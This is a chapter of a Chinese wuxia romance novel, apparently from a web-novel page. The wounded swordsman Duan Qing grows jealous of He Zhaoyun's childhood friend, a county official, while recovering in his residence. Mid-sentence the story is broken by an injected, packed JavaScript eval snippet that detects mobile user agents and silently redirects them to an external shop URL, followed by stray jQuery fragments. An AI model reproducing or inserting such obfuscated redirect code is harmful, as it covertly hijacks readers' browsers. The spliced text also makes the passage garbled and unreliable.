段青再度睁开眼时,已在一间厢房内。身下是铺了棉褥的木榻,身上是干净柔软的素白里衣,几处伤口已经被细细包扎妥当。
他动了动手指,右手掌心传来熟悉的刺痛,左肩伤口也在疼,但能忍。他挣扎着坐起身,警惕地四下打量。厢房不大,陈设朴素规整,桌上摆了笔墨和几册旧书,墙角衣架上搭着他染血的外袍,一旁矮几上横放着他的无鞘剑。
菱花窗棂外,断断续续的说笑声被和风吹送过来。听得出是一男一女,女子声音轻灵温婉,是贺昭云,男子声音清朗,他彻底失去意识之前,似乎听到过。
那人称贺昭云“昭儿”,贺昭云也欣然受之,想来二人关系颇为亲密。
段青心里冒出一股说不清道不明的烦躁。他犹豫片刻,终于按捺不住,扶着墙下了榻,做贼似的小心翼翼挪到窗边,放轻呼吸,侧耳细听外头的谈话。
贺昭云的声音模模糊糊传来:“你这院子打理得真不错,又是养花又是种菜的……欸,怎么连枇杷树都有?”
“我托了友人,专门移过来的,虽然年头还短,比不上我家原来那棵,但再过几年,就能结果了。”那男子声音道,“你还记不记得,小时候,你翻墙来我家偷摘了两个枇杷,我爹以为是我干的,把我狠揍了一顿……我可是替你顶的缸,你欠我一次。”
“谁欠你了?你后来还拉着我下河摸鱼呢!”贺昭云语气轻快,比平日松弛舒展许多,“鱼没摸到不说,滚了一身泥水,害我回去被罚抄了三十遍《论语》,那可是三十遍啊,我写得手都酸了……”
“这才叫有来有往嘛。”那男子不以为意,反而朗声笑道,“再说,我家老头那不是也罚了我一顿板子吗。”
“八九年前的旧事了,你还记得这么清楚?”贺昭云也轻笑出声,段青看不见她的神情,却能想到她眉眼弯弯,笑语盈盈的模样,“都穿上官袍,当上县尉了,也算是半个父母官,今后可要稳重些,别再像小时候那般毛手毛脚……”
“穿上官袍又如何?在你面前,我还是那个陆歆,用不着端什么架子。”
段青扶住窗沿的手紧了紧,又听陆歆继续道:“对了,昨儿晚上我抽空让人赶制了两身衣裳,一会儿就叫人送你房里去,你看看合不合身。你们一路奔波辛苦,不如在我这儿休息几日吧,放心,这里很安全,不会有人来打扰。”
“你倒是有心了,多谢……”
“你我之间,何须言谢。有什么需要我做的,尽管开口。”
段青正要再听下去,忽听门边响动,慌忙转身。
顾晓棠端着一碗汤药掀帘子进来,见段青立在窗边,如见死人诈尸,诧异地瞪着眼道:“你怎么起来了?”
“我……”段青既惊且慌,像行窃被抓了现行一般,手脚都不知如何安放,支支吾吾道,“天太热了,我……透透气。”
顾晓棠瞥一眼紧闭的窗,脸上疑惑更甚。
段青讪讪闭上嘴,胡乱扯开话头:“我睡了多久?这又是什么地方?”
“我和陆县尉是昨日未时找到你们的,到今天早上,大概……”
顾晓棠放下药碗,扳着指头数了数:“八九个时辰吧。这是县衙,县衙后头的偏院,也是陆县尉住处,对了,马也找回来了,就拴在后院呢。那些不敢露脸的家伙就是吃了熊心豹子胆,也不至于想不开,来官廨闹事。”
方才陆歆说,此处安全,应是真的。
段青不由自主地想起贺昭云,她与陆歆说笑时那般自然放松,那陆姓县尉应是可信之人。他们可以安心休整,至少一两日内,不必疲于应付那些随时随地冒出来的危险,他也该跟着高兴才是。
可不知为什么,段青非但轻松不起来,心里还像塞了团湿棉絮一般,又闷又堵。
顾晓棠见他蹙眉,只当他是伤口不适,一脸同情地道:“行了,别硬撑着了,老实回去躺着吧。陆县尉昨日请郎中来看过,郎中说,你这伤虽然不重,但流了不少血,最好是静养三五日。”
段青心不在焉地应了一声,心不在焉地回到床上,端过药碗,心不在焉地往嘴里倒。
顾晓棠抱臂瞧着他,状似随意地道:“哦,对了,那郎中还说……说你身带奇毒,寒气入骨,恐难享常人之寿。”
段青堪堪咽下最后一口汤药,闻言呛得咳了两声,有些狼狈地抹掉唇边药渍:“什么?郎中他,他……当着所有人的面,这么说的?”
“那倒没有,诊脉的时候,陆县尉不在。”
陆县尉不在……那就是说,贺昭云已经知道了。
段青脑中嗡的一声响,险些端不稳手里的药碗,强作镇定道:“那,郎中瞧出是什么毒了么?”
“什么毒,我还想问你呢!”顾晓棠瞪他一眼,没好气地道:“我们三个虽说初衷不同,但走到现在,高低算是过命的交情了吧,你还这样藏着掖着,到底有没有拿我们两个当朋友?”
段青默然不语,心下暗自松了口气。看样子,那郎中没能瞧出他身上是何种寒毒,自然也就牵扯不到他那些见不得光的过往。
顾晓棠翻来覆去审了他几轮,仍然问不出个所以然,夺回药碗,忿忿而去。段青回到窗边,侧耳再听时,院子里已经没有了谈话声,只余一片寂静。
临近晌午,顾晓棠又来送了一趟饭菜。陆歆为人精细周到,顾及到他是伤患,避开辛辣油腻,备了几样清淡开胃的小菜。段青夹了一筷子,却味同嚼蜡,犹豫再三,还是忍不住开口:“她……现下做什么呢?”
“谁?”他问得没头没尾,顾晓棠愣了愣,才反应过来:“啊,你是说贺昭云?她和陆县尉在书房,关着门不知聊些什么,这都一个多时辰了……”
顾晓棠何时离开的,段青没留意。他倒回榻上,却怎么躺怎么不舒服,伤口处的钝痛也变得难以忍受。
直到傍晚,他才见到贺昭云。
贺昭云已经换上了陆歆置办的新衣裳,水蓝色襦裙搭着雪青色绣花短衫,清新又雅致,更衬得气质出尘,眉目如画。长发梳成朝云髻,发间珠钗缀着两颗晶莹剔透的青玉珠子,随着她的步态款动轻摇,温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722640|204293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
婉中平添两分灵动俏皮。
段青抬眼望见,不由得一怔。
这一路上,为避人耳目,便于行路,贺昭云衣着朴素,不着长裙,发髻也只草草一挽,鲜少如此精心装扮,以至于他几乎忘了,她原是金枝玉叶的官家小姐,与他这个亡命天涯,朝不保夕的捉刀人相比,说云泥之别也不为过。
倘若没有那场变故,她本该被父母家人奉若明珠,一生安稳顺遂,而不是日日颠沛流离,风餐露宿。
段青出神的刹那,陆歆也跟着进了厢房。
年纪轻轻的县尉丰神俊朗,仪态端方,一身青绸圆领官袍,腰佩环首官刀,立在贺昭云身侧,朝段青拱了拱手:“段少侠,此番世妹遇险,多亏有你仗义相助。大恩不言谢,陆某先替昭儿记下了,来日定当报答。”
简简单单一句道谢,一声世妹,好似于无形之中,将段青划为了外人。
段青不悦蹙眉,但如今寄人篱下,又顾及贺昭云的面子,只得压着性子同他客套:“分内之事,不值一提,陆县尉不必客气。”
贺昭云在一旁瞧着,不禁莞尔,先使了个眼色,把陆歆支走。厢房内只剩下二人,贺昭云拉过椅子坐在床边,盯着神色恹恹的剑客看了又看,才笑吟吟开口:“是不是刚才陆歆说的话,让你不高兴了?
段青不自然地移开目光:“……没有。”
“那就是……因为我一整天没来看你,你不高兴了?”
“没有。”
“没有?”贺昭云早瞥见他手指来来回回捻着被角,也不点破,忍住笑道:“我不是有意冷落你,只是忽然想起些要紧事,急着和陆歆商量,一时脱不开身,所以拜托了顾晓棠照看你半日。”
段青一愣,原本晦暗的黑眸亮了亮,随即又垂下眼,闷闷地道:“为什么同我说这些?你原本也不必来……”
“你是为了护着我,才受这么重的伤,若是把救命恩人晾在一边不闻不问,显得我多没良心啊。”贺昭云一面打趣,一面小心拉过他右手看了看,“还疼吗?郎中说了,这段时间右手尽量少沾水,也不能再握刀剑,小心再裂开了。”
“不疼了,小伤。”段青微微蹙眉,似乎想抽回手又忍住了,“你方才说……要紧事?出什么事了,公孙晏又找上来了?”
“是名册的事,等顾晓棠来了,一起说吧。我让陆歆去叫了。”贺昭云顿了顿,又问,“那个公孙晏,是什么人,你认得他?”
段青斟酌着道:“早些年见过一面。他是天泉宗的少主,来找……找我当时的东家谈一桩买卖。那时候,他面部并无损毁,也不戴面具,后来不知怎的,他被逐出天泉宗,投靠了官门。但他背后究竟依凭何人,江湖中无人知晓。”
贺昭云低眉沉思,顾晓棠刚巧推门进来,奇道:“怎么了这是,一个两个的都这么严肃?”
贺昭云确认外头无人,将木门小心翼翼合上闩好,陆歆则按照她事先嘱咐的,守在院子里,免得有旁人临窗听了去。
段青和顾晓棠面面相觑,又一同望向贺昭云。